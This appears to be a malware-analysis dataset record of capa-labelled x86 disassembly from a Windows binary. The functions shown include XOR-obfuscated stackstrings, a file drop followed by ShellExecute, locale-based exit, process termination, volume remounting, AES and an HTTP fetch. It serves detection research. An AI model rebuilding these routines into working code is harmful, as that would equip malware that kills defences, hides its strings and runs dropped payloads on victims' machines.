joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40990e
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00406c78
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x40995c
cmp dword [ebp - 0x110], 5
jne 0x40995c
cmp dword [ebp - 0x10c], 2
ja 0x40995c
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x409a0e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409a52
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x409ac9
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 8
pop ebx
lea edi, [edx + 3]
mov dword [ebp - 8], ebx
lea esi, [ecx + 1]
sub edx, ecx
mov al, byte [edi - 3]
mov byte [esi - 1], al
mov al, byte [edx + esi]
mov byte [esi], al
lea esi, [esi + 4]
mov al, byte [edi - 1]
mov byte [esi - 3], al
mov al, byte [edi]
lea edi, [edi + 4]
mov byte [esi - 2], al
sub ebx, 1
jne 0x409adf
mov ebx, dword [ebp - 8]
lea edx, [ecx + 0x1d]
mov cl, byte [edx + 1]
mov ah, byte [edx - 1]
mov al, byte [edx]
mov byte [ebp - 1], cl
mov cl, byte [edx + 2]
mov byte [ebp - 2], cl
mov ecx, ebx
mov byte [ebp - 4], ah
mov byte [ebp - 3], al
and ecx, 7
jne 0x409b61
movzx ecx, al
movzx eax, byte [ebp - 1]
mov al, byte [eax + 0x401628]
mov byte [ebp - 3], al
movzx eax, byte [ebp - 2]
mov al, byte [eax + 0x401628]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 4]
mov al, byte [eax + 0x401628]
mov byte [ebp - 2], al
mov eax, ebx
shr eax, 3
mov ah, byte [eax + 0x401828]
xor ah, byte [ecx + 0x401628]
jmp 0x409b9c
cmp ecx, 4
jne 0x409b9c
movzx eax, ah
mov al, byte [eax + 0x401628]
mov byte [ebp - 4], al
movzx eax, byte [ebp - 3]
mov al, byte [eax + 0x401628]
mov byte [ebp - 3], al
movzx eax, byte [ebp - 1]
mov al, byte [eax + 0x401628]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 2]
mov al, byte [eax + 0x401628]
mov ah, byte [ebp - 4]
mov byte [ebp - 2], al
mov al, byte [edx - 0x1d]
xor al, ah
mov ah, byte [ebp - 2]
mov byte [edx + 3], al
mov al, byte [edx - 0x1c]
xor al, byte [ebp - 3]
mov byte [edx + 4], al
mov al, byte [edx - 0x1b]
xor al, byte [ebp - 1]
mov byte [edx + 5], al
mov al, byte [edx - 0x1a]
xor al, ah
inc ebx
mov byte [edx + 6], al
add edx, 4
cmp ebx, 0x3c
jb 0x409b06
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409bd3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
movzx ecx, cl
shl ecx, 4
add ecx, dword [ebp + 8]
push 4
pop edi
push 4
pop esi
mov al, byte [ecx]
xor byte [edx], al
inc ecx
inc edx
sub esi, 1
jne 0x409be7
sub edi, 1
jne 0x409be4
pop edi
pop esi
pop ebp
ret
Function at 0x409ea3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 2
mov esi, edx
mov ebx, ecx
pop edi
push 0x10
mov edx, esi
lea ecx, [ebp - 0x10]
call fcn.00406c99
pop ecx
mov edx, ebx
mov ecx, esi
call fcn.00409df3
push 0x10
lea ecx, [ebx + 0xf0]
pop edx
mov al, byte [ecx]
xor byte [esi], al
inc ecx
inc esi
sub edx, 1
jne 0x409ed2
push 0x10
lea edx, [ebp - 0x10]
lea ecx, [ebx + 0xf0]
call fcn.00406c99
pop ecx
sub edi, 1
jne 0x409eb3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409ef8
Capabilities:
Encode data using xor
Link many functions at runtime
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0x27212607
mov dword [ebp - 9], 0x27321821
mov eax, ebx
mov dword [ebp - 5], 0x3939317b
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xd], 0x55
inc eax
cmp eax, 0xc
jb 0x409f1b
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [0x4128b0], ecx
test ecx, ecx
je 0x40a0e4
mov dword [ebp - 0x1c], 0x21063807
mov eax, ebx
mov dword [ebp - 0x18], 0x6212734
mov dword [ebp - 0x14], 0x3c262630
mov word [ebp - 0x10], 0x3b3a
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xe
jb 0x409f63
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 0xe], bl
call esi
movaps xmm0, xmmword [0x401bf0]
mov dword [0x4120ac], eax
mov eax, ebx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x263036
xor byte [ebp + eax - 0x30], 0x55
inc eax
cmp eax, 0x13
jb 0x409f98
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1d], bl
push eax
push dword [0x4128b0]
call esi
mov dword [0x4128b4], eax
mov eax, ebx
mov dword [ebp - 0xa], 0x30123807
mov dword [ebp - 6], 0x263c1921
mov word [ebp - 2], 0x21
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x409fcd
lea eax, [ebp - 0xa]
mov byte [ebp - 1], bl
push eax
push dword [0x4128b0]
call esi
mov dword [0x4128b8], eax
mov eax, ebx
mov dword [ebp - 0x1a], 0x3b103807
mov dword [ebp - 0x16], 0x26300631
mov dword [ebp - 0x12], 0x3b3a3c26
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0xc
jb 0x40a006
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], bl
push eax
push dword [0x4128b0]
call esi
mov dword [0x4120a8], eax
mov eax, ebx
mov dword [ebp - 0xb], 0x3d063807
mov dword [ebp - 7], 0x3a312120
mov word [ebp - 3], 0x3b22
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xb], 0x55
inc eax
cmp eax, 0xa
jb 0x40a03e
lea eax, [ebp - 0xb]
mov byte [ebp - 1], bl
push eax
push dword [0x4128b0]
call esi
mov dword [0x4120a0], eax
pop esi
cmp dword [0x4120ac], ebx
je 0x40a0d2
cmp dword [0x4128b4], ebx
je 0x40a0d2
cmp dword [0x4128b8], ebx
je 0x40a0d2
cmp dword [0x4120a8], ebx
je 0x40a0d2
test eax, eax
je 0x40a0d2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
movaps xmm0, xmmword [0x401d20]
mov dword [0x4120a4], eax
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5501551a
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x15
jb 0x40a0ae
push 0x400
push 0x4120b0
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x40a0e4
push dword [0x4128b0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x4128b0], ebx
pop ebx
leave
ret
Function at 0x40a297
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x40fcc1], 0
je 0x40a35b
push esi
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a35a
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x40fcc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.00409a6f
push dword [0x40fd45]
mov edx, 0x40fd49
lea ecx, [ebp - 0x90c]
call fcn.00409a0e
pop ecx
pop ecx
test eax, eax
je 0x40a359
mov dword [ebp - 0xa], 0x5525553a
mov eax, ebx
mov dword [ebp - 6], 0x553b5530
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a335
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a35d
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a3ff
push esi
lea ecx, [edi*2 + 2]
call fcn.00406c20
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a3fe
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a3f7
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407eef
add esp, 0xc
test eax, eax
je 0x40a3e1
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a3c8
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d331
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a3a9
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.00406cc5
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40a403
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ebx, ebx
mov dword [ebp - 0xc], eax
and dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
lea ecx, [eax*2 + 2]
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x40a513
and dword [ebp - 8], ebx
xor ecx, ecx
mov edx, dword [ebp - 4]
xor edi, edi
test edx, edx
jle 0x40a50c
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + edi*2]
cmp eax, 0x22
jne 0x40a468
xor eax, eax
cmp dword [ebp - 8], eax
sete al
mov dword [ebp - 8], eax
jmp 0x40a47e
push 0x20
pop edx
cmp ax, dx
mov edx, dword [ebp - 4]
jne 0x40a479
cmp dword [ebp - 8], 0
je 0x40a47e
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a500
lea eax, [edx - 1]
cmp edi, eax
je 0x40a49e
mov eax, dword [ebp - 0xc]
push 0x20
pop edx
cmp word [eax + edi*2], dx
mov edx, dword [ebp - 4]
jne 0x40a503
cmp dword [ebp - 8], 0
jne 0x40a503
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0x10]
mov eax, ecx
inc ecx
mov dword [ebp - 0x10], ecx
test eax, eax
je 0x40a4fe
mov ecx, esi
call fcn.004099a5
test eax, eax
je 0x40a4dc
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407eef
add esp, 0xc
inc ebx
mov ecx, esi
call fcn.004099dc
test eax, eax
je 0x40a4fb
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407eef
add esp, 0xc
inc ebx
mov edx, dword [ebp - 4]
xor ecx, ecx
mov eax, dword [ebp - 0xc]
inc edi
cmp edi, edx
jl 0x40a452
mov ecx, esi
call fcn.00406cc5
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x40a51a
Capabilities:
Encode data using xor
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movaps xmm0, xmmword [0x401ca0]
xor eax, eax
movups xmmword [ebp - 0x46], xmm0
mov ecx, eax
mov dword [ebp - 0x16], 0x55145500
movaps xmm0, xmmword [0x401cb0]
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 0x12], 0x550f5500
movaps xmm0, xmmword [0x401cf0]
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0xe], 0x551b5503
mov word [ebp - 0xa], 0x55
xor byte [ebp + ecx - 0x46], 0x55
inc ecx
cmp ecx, 0x3d
jb 0x40a573
mov cx, word [ebp - 0x46]
mov byte [ebp - 9], al
test cx, cx
je 0x40a5b1
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, eax
cmp word [ebp - 8], dx
jne 0x40a5a0
cmp si, word [ebp + ecx - 0x44]
je 0x40a5b3
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x46]
test dx, dx
jne 0x40a593
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a634
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
cmp dword [0x4115d1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x20], ebx
je 0x40a7d7
mov edi, 0x4115d5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a7d7
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40a7d7
mov ecx, dword [0x4115d1]
lea eax, [ebp - 0x248]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4020b0]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x555575
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x13
jb 0x40a6b0
lea eax, [ebp - 0x1c]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x148]
push ebx
push eax
call edi
xor ebx, ebx
mov dword [ebp - 8], 0x555f5558
mov word [ebp - 4], 0x55
mov eax, ebx
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40a6f1
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x148]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40a7d4
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40a766
cmp dword [ebp - 8], 0
ja 0x40a745
push edi
call ebx
movaps xmm0, xmmword [0x402090]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov eax, ecx
mov dword [ebp - 0x28], 0x55705575
movaps xmm0, xmmword [0x4020c0]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x555526
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x27
jb 0x40a791
movaps xmm0, xmmword [0x401bd0]
mov eax, ecx
mov byte [ebp - 0x21], cl
movups xmmword [ebp - 0x18], xmm0
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xf
jb 0x40a7ac
push dword [ebp - 0x20]
lea eax, [ebp - 0x248]
mov byte [ebp - 9], cl
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d3d8
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a7dc
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
lea ecx, [ebp - 4]
mov edx, 0x40f4c1
call fcn.004022b0
test eax, eax
je 0x40a90d
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x26c], 0x22c
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40a8fd
push edi
sub esp, 0xc
lea edx, [ebp - 0x248]
lea ecx, [ebp - 4]
call fcn.004023a6
add esp, 0xc
test eax, eax
je 0x40a8e6
push dword [ebp - 0x264]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40a8e6
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40a8df
movaps xmm0, xmmword [0x4020a0]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov dword [ebp - 0x1e], 0x55557c
movaps xmm0, xmmword [0x401d40]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x23
jb 0x40a88c
movaps xmm0, xmmword [0x401d60]
mov eax, ecx
mov byte [ebp - 0x1b], cl
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0x55315530
mov word [ebp - 6], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0x15
jb 0x40a8b4
push dword [ebp - 0x264]
lea eax, [ebp - 0x248]
mov byte [ebp - 5], cl
push eax
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x1a]
push eax
call fcn.0040d3d8
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a828
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 4]
call fcn.00402369
pop esi
leave
ret

Function at 0x40a90f
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40a98a
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40a985
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40a985
cmp dword [ebp - 0x24], ebx
je 0x40a991
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x4128bc]
cmp eax, 0x7530
ja 0x40a98a
cmp dword [ebp - 0x24], ebx
jne 0x40a94f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40a98c
Function at 0x40ac06
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x4128c0], 0
jne 0x40ac2f
test ecx, ecx
je 0x40ac28
xor eax, eax
push eax
push eax
push eax
push fcn.0040a995
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
push 0
call fcn.0040a995
pop ecx
ret

Function at 0x40ac31
Capabilities:
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x40ada0
mov dword [ebp - 8], 0x556f550a
xor eax, eax
mov dword [ebp - 4], 0x555509
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 7
jb 0x40ac61
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40ac94
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x74], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40ac7c
mov ecx, 0x10000
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x40ad99
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40ad89
push 0x200
lea ecx, [ebp - 0x278]
call fcn.00406c78
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40ad06
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40ad72
mov ax, word [ebp + ebx*2 - 0x76]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
movaps xmm0, xmmword [0x402130]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov word [ebp - 0x1e], 0x55
movaps xmm0, xmmword [0x401e30]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x21
jb 0x40ad37
movaps xmm0, xmmword [0x401bb0]
mov eax, ecx
mov byte [ebp - 0x1d], cl
movups xmmword [ebp - 0x1c], xmm0
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xf
jb 0x40ad52
push edi
push esi
lea eax, [ebp - 0x3e]
mov byte [ebp - 0xd], cl
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d3d8
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40acbe
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.00406cc5
mov ecx, edi
call fcn.00406cc5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b13d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x23
jb 0x40b13f
mov byte [ecx + 0x23], 0
mov eax, ecx
ret

Function at 0x40b1a3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x401dd0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401f80]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x402080]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x40b1d2
lea eax, [ebp - 0x32]
mov byte [ebp - 1], 0
push eax
push 0x24
call fcn.0040b150
sub eax, 6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret

Function at 0x40b1f8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
call fcn.004098b4
test eax, eax
je 0x40b20c
xor eax, eax
inc eax
leave
ret
movaps xmm0, xmmword [0x401d50]
xor eax, eax
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0xe], 0x553c5520
movaps xmm0, xmmword [0x401ff0]
movups xmmword [ebp - 0x2e], xmm0
mov dword [ebp - 0xa], 0x55305527
movaps xmm0, xmmword [0x401df0]
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 6], 0x55745531
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x3d
jb 0x40b24a
lea eax, [ebp - 0x3e]
mov byte [ebp - 1], 0
push eax
push 0x10
call fcn.0040b150
pop ecx
pop ecx
xor eax, eax
leave
ret
Function at 0x40d485
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1d
jb 0x40d487
mov byte [ecx + 0x1d], 0
mov eax, ecx
ret

Function at 0x40d498
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2b
jb 0x40d49a
mov byte [ecx + 0x2b], 0
mov eax, ecx
ret

Function at 0x40d4ab
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x25
jb 0x40d4ad
mov byte [ecx + 0x25], 0
mov eax, ecx
ret

Function at 0x40d4be
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x81
jb 0x40d4c0
mov byte [ecx + 0x81], 0
mov eax, ecx
ret

Function at 0x40d4d6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x29
jb 0x40d4d8
mov byte [ecx + 0x29], 0
mov eax, ecx
ret

Function at 0x40d4e9
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2f
jb 0x40d4eb
mov byte [ecx + 0x2f], 0
mov eax, ecx
ret

Function at 0x411032
Capabilities:
Terminate process

Disassembly:
jmp 0x414e10
jmp fcn.00415680
cmp ecx, dword [0x41d048]
jne 0x414e1a
repz ret
jmp 0x411131
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push edi
lea eax, [ebp - 0x1a4]
xor edi, edi
push str.SOFTWAREClassesKOOPLAYER.CCTVPlayerCtrl.1CLSID
push eax
mov dword [ebp - 0x14], edi
call fcn.00409910
pop ecx
pop ecx
call fcn.00403edf
test eax, eax
jne 0x401033
push str.SOFTWAREClassesCLSID_
jmp 0x401038
push str.SOFTWAREClassesWow6432NodeCLSID_
lea eax, [ebp - 0xdc]
push eax
call fcn.00409910
pop ecx
lea eax, [ebp - 4]
pop ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push 0xf003f
lea eax, [ebp - 0x1a4]
push edi
push eax
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x401140
lea eax, [ebp - 8]
push esi
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push edi
mov dword [ebp - 0x10], 1
push dword [ebp - 4]
mov dword [ebp - 8], edi
call esi
push dword [ebp - 8]
call fcn.00409a00
pop ecx
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
lea eax, [ebp - 0xdc]
push eax
call fcn.00409920
lea eax, [ebp - 0xdc]
push str.InprocServer32_
push eax
call fcn.00409920
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0xdc]
push edi
push eax
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x401136
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push edi
push dword [ebp - 4]
call esi
push dword [ebp - 0xc]
call fcn.004095a1
push dword [ebp - 8]
call fcn.00409a00
pop ecx
